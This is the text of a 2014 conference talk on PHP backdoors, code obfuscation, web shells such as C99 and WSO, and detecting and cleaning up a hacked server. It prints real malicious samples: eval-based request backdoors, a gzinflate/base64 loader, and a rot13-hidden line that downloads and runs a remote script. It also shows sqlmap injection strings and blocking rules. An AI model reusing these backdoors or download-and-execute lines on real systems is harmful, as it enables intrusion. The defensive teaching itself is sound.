CODE OBFUSCATION, PHP SHELLS & MORE

WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE

(AND HOW YOU CAN DETECT & FIX IT)

@mattiasgeniar

#phpbnl14 - 24/1/2014, Edegem
WHAT'S THIS TALK ABOUT?

- What happens when I get hacked?
- What's code obfuscation?
- What are PHP shells?
- Show me some clever hacks!
- Prevention
- Post-hack cleanup
WHAT IS THIS _NOT_ ABOUT?

- How can I hack a website?
- How can I DoS a website?
- How can I find my insecure code?
WHO AM I?

- Mattias Geniar
- System Engineer @ Nucleus.be

(we may have accidentally started a huge stressball fight last year)

- Ex-PHP'er, ORM hater, mostly a Linux guy
WHO ARE YOU?

• Any Linux knowledge?
• Ever had a site compromised?
• Ever try to hack your own site? :-)
• Who was at this talk @ phpbnl14?
WHY DO I GET HACKED?

- To steal your data
- Intermediate host to attack others
- Act as a C&C server
- Send out spammails
- ...


WHAT HAPPENS (TO MY SERVER) WHEN I GET HACKED?

- Malicious file uploads
- Local file modifications
- SQL injections (to modify DB content)
- SQL injections (to steal your data)
- ... and many more things
TYPICAL ATTACKER WORKFLOW

- Remote scan website for vulnerabilities (95% automated)
  Havij, Nessus, Skipfish, SQLmap, w3af, Zed Attack Proxy, ...

- Abuse vulnerability (file upload, RFI, SQLi, ...)
  Mostly manual, attack surface narrowed by scans

- Profit!
FOCUS OF THIS TALK

- File upload abuse: what can you do with PHP? Form upload vulnerability, stolen FTP passwords etc.
- SQL injections

NOT THE FOCUS

- Cross-Site Scripting (XSS)
- Authentication bypassing
- Cross-Site Request Forgery (CSRF)
- ...
- Check OWASP.org for more fun!
FILE UPLOADS

• Obvious ones
  ▪ hackscript.php
  ▪ remote-shell.php

• Random file names
  ▪ x51n98ApnrE_Dw.php
  ▪ e8AnzRxn5DSMAAn.php

• Attempts to "blend in"
  ▪ contact.php
  ▪ wp-version.php
  ▪ image.php / thumbnail.php
FILE MODIFICATIONS

- wp-config.php
- apc.php
- Bootstrap.php
- ...

SQL INJECTIONS: GET CONTENT INTO YOUR DB

- inject iframes
- inject script-tags
- steal (admin) cookies

You'll only notice it when browsing the site.
SO ....

WHAT DOES 'MALICIOUS PHP CODE' LOOK LIKE?
LIKE THIS.

```php
$rtygwh = "6886213372db82e93bc8504438e99c76"; if(isset($_REQUEST['mwqhx'])) { $jagjspf = $_REQUEST['mwqhx']; eval($jagjspf); exit(); } if(isset($_REQUEST['pxnikx'])) { $odzc = $_REQUEST['tgdnj'; $fdydwid = $_REQUEST['pxnikx']; $rwtx = fopen($fdydwid, 'w'); $iuxrf = fwrite($rwtx, $odzc); fclose($rwtx); echo $iuxrf; exit(); } ?>```
<?php
...
preg_replace("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x61\x28\x67\x73\x66\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x287X1re9s2z/Dn9VcwmjF2q+PYTtu7s2MnaQ5t2jTpcugp6ePJemxrksLpkUnKwFf77C4CKREgy43S738N1vbufp7FIEARJkARBAHT7xRVnNI1u4X06d7Jx72TC/PN2dmHzj18db2f7x2dmd9KJXbHClPQCBvZHgjkSWYtZQWDdFo3Xv/j/wHKPMjFvNgkzwx/vTo1d+hL9cq2MF9tC9dL8/GKNs4N/jqxR10PEktN5vaLk8A2E2W2A1L5prJKswdTTy/5xTNv8ZyWm0J8sw1FxMfoXowD0nKFLuWq1S2c+qz9iRH7F9fzrumVVCc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5YySm45z49jTyPXXncqdoQlCcumz47kJNyrgAsr4NqdP6d+5ISdYDpGGJ7bc/rUGN96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKh1HgTkLPCod0WCzQSCFI4ETTYMzcsMMHT+Zs8sEEbBQWi2OfS3AGiwPL/2h0fPh+PQmCMJTN2UATKGzc3z87mAvF4znEaa4FbQPQ/Q7hrIhDpcp2hsAJStw3MH45YNzQAE7Y2+H4zyYIImGfq818c0o/cEkw5kf9Bpwx1PphGlbMD0ayJS2dga8a+2mh10uzA87Nrypk7LbLfN9syYoY/UGXb0AlD8p3I9v0rIKpWbd1zTZNtOOkicPUNGl0m4bRIMGQJxk+1m......");
?>
<?php
...
@error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors', 0); if (count($_POST) < 2) { die(PHP_OS.chr(49)).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101): $v5031e998 = true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49)).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]...
?>
THERE’S PRETTY CODE TOO, THOUGH.

JUST NOT AS OFTEN.
OBfuscation Techniques

Why hide the code?

- Legit
  - Prevent reverse engineering
  - Protect proprietary code
    Zend Guard, SourceGuardian, ... require PHP extensions to decrypt

- Accidentally
  - Lack of experience from the dev
  - Simple problems solved in a hard way

- Malicious
  - Prevent code from being found
  - Hide backdoors in backdoors
  - Hide true purpose of script
OBfuscation Techniques

Remove whitespace

```
if(isset($_GET["t1065n"])) {
    $auth_pass = "";
    $color = "#df5";
    $default_action = "FilesMan";
    $default_use_ajax = true;
    preg_replace("/.*e", "\x65\x7...");
}
```

Becomes

```
if(isset($_GET["t1065n"]){ $auth_pass=""; $color="#df5"; $default_action="FilesMan"; $default_use_ajax = true; preg_replace("/.*e", "\x65\x7..."); }
```
OBfuscation Techniques

Replacements!

$string = "my secret key";

Obfuscated:

$string = \chr(109)\chr(121)\chr(32)\chr(115)\chr(101)\chr(99)\chr(114)\chr(101)\chr(116)\chr(32)\chr(107)\chr(101)\chr(121)\);

$string = "\x6e\x6f\x20\x6f\x6e\x65\x20\x63\x61\x6e\x20\x72\x65\x61\x64\x20". "\x74\x68\x69\x73\x2c\x20\x6d\x75\x61\x6e\x21";

$string = \text{gzinflate}('??/JU(J?K??U(I!?')\);

Also works with \text{bzip}, \text{gzencode}, \text{urlencode}, \text{UUencode}, ...  
Attacker can send the ASCII chars via \_$_\text{POST}$, code can 'decrypt' by running \text{ord}($$_\text{POST}[ 'val' ]$).
OBfuscation Techniques

Character substitutions with str_rot13
(or any self-made letter replacement algorithm)

```php
$string = 'some random piece of code';
$encoded = str_rot13($string);
# $encoded = fbzr enaqbz cvrpr bs pbqr

$decoded = str_rot13($encoded);
# $decoded is again = some random piece of code

So if you're evil ...

$a = "rkrp('jtrg uggc://fvgr.gyq/unpx.cy; puzbq +k unpx.cy; ./unpx.cy');";
eval(str_rot13($a));

exec('wget http://site.tld/hack.pl; chmod +x hack.pl; ./hack.pl');
```
OBfuscATION TECHNIQUES

Run eval() on encoded strings

```php
$code = 'echo "Inception: PHP in PHP!"; '
    . ' eval($code);
```

The encoded version becomes:

```php
$code = 'ZWNoobyAiSW5j2XB0aw9uOibQSFAgaw4gUEhQISI7IA==';
    . ' eval(base64_decode($code));
```

Imagine this on a 100+ line PHP script, base64_encode() it all and run it in eval().
OBfuscation Techniques

Inception!

Actually means ...

```php
$_ = 'CmlmKGlzc2V0KCRfUE9TVPsiy29kZSJDSkKewogICAuZXhhbChiyXNlNjRf2G'.
    'Vjb2R1KCRfUE9TVPsiy29kZSJDskK7Cn0=';
$__ = 'JGNvZGUgPSBiYXNlNjRfZGVjbr2RLKCRfKntsZXZhbcgY29kZSk7';
$__ = '\62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65';
eval($__($__));
```

```php
$_ = 'if(isset($_POST["code"])) {
    eval(base64_decode($_POST["code"]));
}';
$__ = '$code = base64_decode($_); eval($code);';
$__ = 'base64_decode';
eval($__($__));
```
TIME FOR SOMETHING LESS CRYPTIC ...

Or: the fun you can have when you can upload your own PHP file(s)
PHP SHELL SCRIPTS

- WSO Web Shell
- C99 shell
- R57 shell
- ...
- Monolithic app: PHP, Javascript, Perl, images, ...
- Accessed by simply browsing to
  http://$site/path/to/script.php
WHAT DO THOSE SHELLS DO?

Usually contains authentication/authorization

Password: [Password field]
WHAT DO THOSE SHELLS DO?

Contains some kind of ACL

```php
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $userAgents = array("Google","MSNBot");
    if(preg_match('/'.implode('|', $userAgents).'i', $ua)) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

# Or by IP, cookies, $_POST values, ...
```
BUT ONCE YOU GET IN ... :-}
WEB SHELL BY ORB

- File listing
- Remote shells
- Server info
- ...

![Web Shell Interface](image-url)
FULL CONSOLE

- Limited to user running PHP
- Limited by the php.ini config
- Can read all your configs
-$ telnet 10.0.2.2 31337
Connected to localhost.
Escape character is '^['].
sh-4.1$ ls -alh
total 84K
drwxrwx--- 2 xxx httpd 4.0K Jan 21 17:17 .
drwxrwx--- 4 xxx httpd 4.0K Jan 21 17:25 ..
-rw-r--r-- 1 xxx httpd 74K Jan 21 16:56 2x2.php
-rw-r--r-- 1 xxx httpd 0 Jan 21 17:17 look_mom_imma_winning_the_internetz
sh-4.1$
REMOTE SHELLS

- Requires perl (standard ... everywhere?)
- Gets forked to the background
- Can be _real_ painful
BIG DEAL ... YOU CAN’T DO ANYTHING!

...

CAN’T I?
COMPILE YOUR OWN EXPLOIT?

sh-4.1$ gcc exploit.c -o exploit
sh-4.1$ chmod +x exploit

sh-4.1$ ls -alh exploit
-rwxrwxr-x 1 xxx xxx 6.3K Jan 21 17:38 exploit

sh-4.1$ ./exploit
START A BITCOIN MINER?
WHAT ELSE IN THIS WEB SHELL BY ORB?

- Zip/Tar.gz manager
- Brute force ftp/mysql/...
- Search system for files
  .mysql_history, .bash_history, *.conf, ...
- Similar to R75 shell, C99,...
C99 SHELL

Even has a feedback form!

Feedback or report bug (c99shell[at]cteam[dot]ru):

Your name: 
Your e-mail: 
Message:

Attach server-info * [Smart one :)]

There are no checking in the form.
* - strongly recommended, if you report bug, because we need it for bug-fix.
We understand languages: English, Russian.

Send
WHAT THEY HAVE IN COMMON

- GUI stolen from a 90's h4ck0rz movie
- All single page apps
- Made to dumb-down the user (presets etc.)
- Offer same kind of tools/scripts/exploits
HACKERS PROTECT THEMSELVES

- Add a self-update command
- Add a self-destruct command
- Make multiple copies of itself
- Obfuscate its own code with random data
- Add to cron to restart script
HOW TO PROTECT YOURSELF

Server-side vs code-wise

As a dev...
- Don't trust your users
- Whitelist (don't blacklist!) file extensions in upload forms
  ```php
  Safe: $whitelist = array('jpg', 'jpeg');
  Unsafe: $blacklist = array('php', 'cgi'); // Will still allow perl (.pl) code
  ```
- Never use eval()

As a sysadmin...
- Don't allow PHP execution from uploads directory
  (easily blocked in webserver configs)
- Mount filesystems with noexec option
- Virus-scan all uploaded files
- Block 'dangerous' php functions
BLOCK PHP EXECUTION FROM UPLOADS DIRECTORY

(we'll take Apache as an example)

```
<Directory /var/www/vhosts/mysite.tld/httpdocs/uploads>
  <FilesMatch "(?i)\.(php|phtml)$">
    Order Deny,Allow
    Deny from All
  </FilesMatch>
</Directory>
```

Whenever possible, don't use .htaccess files but set it in your main/vhost configuration
BLOCKING DANGEROUS PHP FUNCTIONS

(depends on your definition of dangerous)

- php.ini: disable_functions
- Only disables internal functions, no user-defined ones
- Can not be overwritten later (duh)

```
disable_functions = show_source, exec, system, passthru, dl, phpinfo, ...
```

eval() is a language construct, not a function. Can not be blocked in disable_functions. Check out the suhosin patch to disable this.
YOUR ACCESS & ERROR LOGS ARE GOLDEN

These are normal access logs...

<table>
<thead>
<tr>
<th>Method</th>
<th>Path</th>
<th>Status</th>
<th>Bytes</th>
<th>User-Agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/account.php HTTP/1.1</td>
<td>200</td>
<td>17333</td>
<td><a href="https://site.be/script.php?id=NG">https://site.be/script.php?id=NG</a></td>
</tr>
<tr>
<td>GET</td>
<td>/images/pages/account.gif HTTP/1.1</td>
<td>200</td>
<td>1668</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64)</td>
</tr>
<tr>
<td>GET</td>
<td>/images/pages/account_companycontacts.png HTTP/1.1</td>
<td>200</td>
<td>3392</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64)</td>
</tr>
<tr>
<td>GET</td>
<td>/images/pages/account_contacts.gif HTTP/1.1</td>
<td>200</td>
<td>1765</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64)</td>
</tr>
<tr>
<td>GET</td>
<td>/account_orders.php HTTP/1.1</td>
<td>200</td>
<td>21449</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64)</td>
</tr>
</tbody>
</table>
YOUR ACCESS & ERROR LOGS ARE GOLDEN

These are not...

```plaintext
GET /my_php_file.php?query_param=1\%20AND\%202458=CAST\%28CHR\%2858\%29\%29\%28CHR\%29\%28112\%29\%29\%28CHR\%28100\%29\%29\%28CHR\%28118\%29\%29\%28CHR\%2828118\%29\%29\%28CHR\%282858\%29\%29\%28CHR\%2828\%29\%29\%28CHR\%28SELECT\%20COALESCE\%28uid\%20AS\%20CHARACTER\%2810000\%29\%29\%28CHR\%282832\%29\%29\%28CHR\%28OFFSET\%20\%206543\%20LIMIT\%201\%29\%2A\%2A\%20text\%29\%28CHR\%282858\%29\%29\%28CHR\%2897\%29\%29\%28CHR\%28109\%29\%29\%28CHR\%2828\%29\%29\%28CHR\%28AS\%20NUMERIC\%29\%20HTTP/1.1\%20200\%20554\%20-%%20"sqlmap/1.0-dev (http://sqlmap.org)"
```

Or...

```plaintext
GET /my_php_file.php?query_param=1\%20AND\%202458=CAST(CHR(58))\%2BCHR(112)\%2BCHR(100)\%2BCHR(118)\%2BCHR(58)\%2B(SELECT\%20COALESCE\(\(uid\%20AS\%20CHARACTER(10000)\),\%20CHR(32))\%20FROM\%20db.table\%20OFFSET\%206543\%20LIMIT\%201)\%2B\%20\%28text\%29\%2BCHR(58)\%2BCHR(104)\%2BCHR(97)\%2BCHR(109)\%2BCHR(58)\%20AS\%20NUMERIC\%20HTTP/1.1\%20200\%20554\%20-%%20"
```
VERIFY IPS VS. USER-AGENTS

46.165.204.8 -- [15:16:55 +0100] "GET /images.php HTTP/1.1" 200 175 "-"
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html"

$ whois 46.165.204.8
...
org-name: Leaseweb Germany GmbH
...
**BLOCK SQL-INJECTION AS A SYSADMIN**

- This can **never** be your only defense. This just helps make it harder.
- You can act on URL patterns
  - Keywords like `CHR()`, `COALESCE()`, `CAST()`, `CHR()`, ...
- You can act on HTTP user agents
  - Keywords like `sqlmap`, `owasp`, `zod`, ...
- Install a "Web Application Firewall"
  - (open source: `mod_security` in Apache, `security.vcl` in Varnish, `ModSecurity` in Nginx, `5G Blacklist`, ...)
BLOCK BRUTE FORCE ATTACKS

If an application user is compromised, they could upload malicious content.

- In the application: block users after X amount of failed attempts
- On the server: tools like fail2ban, denyhosts, iptables, ...
- Extend common tools: fail2ban to detect POST floods via access/error logs
  (ie: 10 POST requests from same IP in 5s = ban)
STAY UP-TO-DATE

With everything.

- Update 3rd party libraries: ckeditor, tinymce, thumbnail scripts, ...
  Triple-check anything you took from the internet.

- Update your framework that could have security fixes

- Update your OS & applications
  (limit the privilege escalation exploits if the app is compromised)

- Update your personal knowledge / experience
  Check out OWAS, try out free vulnerability scanners, hack your own site, ...
BUT WHAT IF YOU FIND YOU’VE BEEN HACKED...
**POST-HACK CLEANUP**

Or: how to find the hack

- Search for suspicious filenames
- Check your access/error logs
  (If you found uploaded files, use the timestamps for a more accurate search)
- Check your cronjobs on the system
  Dem sneaky bastards ...  
- Search all sourcecode for keywords like:
  `eval, base64_decode, wget, curl, ...`
- Use system tools for scanning malware like:
  `Maldet, ClamAV, rkhunter, tripwire, ...`
  (you may need to poke your sysadmin - these can run as daemons)
POST-HACK CLEANUP

• Take a database dump and search for keywords like: iframe, script, ...

```bash
$ mysqldump mydb > mydb.sql
$ grep -i 'iframe' mydb.sql
$ grep -i '...' mydb.sql
```

• Take a long look again at all the prevention methods we talked about earlier.
• Patch the code
• Prepare yourself to reinstall your entire server

If you're unsure how far the attacker went, assume they got root access. If that's the case, don't trust a single system binary.
THANK YOU

ANY QUESTIONS?

Contact via @mattiasgeniar on Twitter or via mail at mttias.be

www.nucleus.be

Also: we're hiring PHP rockstars!